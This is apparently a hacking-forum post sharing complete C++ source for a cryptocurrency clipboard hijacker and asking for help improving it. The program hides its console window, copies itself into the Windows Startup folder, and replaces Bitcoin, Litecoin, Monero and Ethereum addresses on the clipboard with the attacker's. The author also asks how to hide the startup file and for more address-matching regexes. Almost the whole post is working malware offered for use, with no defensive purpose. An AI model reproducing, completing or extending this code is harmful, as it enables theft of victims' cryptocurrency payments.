Пожалуйста, обратите внимание, что пользователь заблокирован
Hello! I created these days a cryptostealer in C++ and made it to add itself to startup but there are a few more things that I need to do and I am asking for your help:
1. Is it possible to make it hidden in startup folder? I tried with
2. Is it possible to make it work without Visual C++ Redistributables?
3. If you find more regex patterns please post them so I can add to the source.
Thanks!
1. Is it possible to make it hidden in startup folder? I tried with
SetFileAttributesA("\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cryptostealer.exe\"", FILE_ATTRIBUTE_HIDDEN); but didn't work.2. Is it possible to make it work without Visual C++ Redistributables?
3. If you find more regex patterns please post them so I can add to the source.
Thanks!
C++:
#include <iostream>
#include <Windows.h>
#include <regex>
#include <string>
#include <algorithm>
#include <wchar.h>
#include <KnownFolders.h>
#include <setupapi.h>
#include <tchar.h>
#include <devpkey.h>
#include <fstream>
using namespace std;
HANDLE clip;
string clipboard = "";
string bitcoin = "bitcoin address";
string litecoin = "litecoin address";
string monero = "monero address";
string ethereum = "ethereum address";
regex bitpat{ "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$" };
regex litpat{ "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" };
regex monpat{ "^4([0-9]|[A-B])(.){93}" };
regex ethpat{ "^0x[a-fA-F0-9]{40}$" };
const char* copy1 = "echo F | xcopy /S /Q /Y /F \"cryptostealer.exe\" \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"";
int main()
{
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
system(copy1);
while (true)
{
if (OpenClipboard(NULL))
{
clip = GetClipboardData(CF_TEXT);
clipboard = (char*)GetClipboardData(CF_TEXT);
CloseClipboard();
bool bitmatch = regex_search(clipboard, bitpat);
if (bitmatch)
{
const char* output = bitcoin.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
bool litmatch = regex_search(clipboard, litpat);
if (litmatch)
{
const char* output = litecoin.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
bool monmatch = regex_search(clipboard, monpat);
if (monmatch)
{
const char* output = monero.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
bool ethmatch = regex_search(clipboard, ethpat);
if (ethmatch)
{
const char* output = ethereum.c_str();
const size_t len = strlen(output) + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), output, len);
GlobalUnlock(hMem);
OpenClipboard(0);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
}
}
Sleep(500);
}
return 0;
}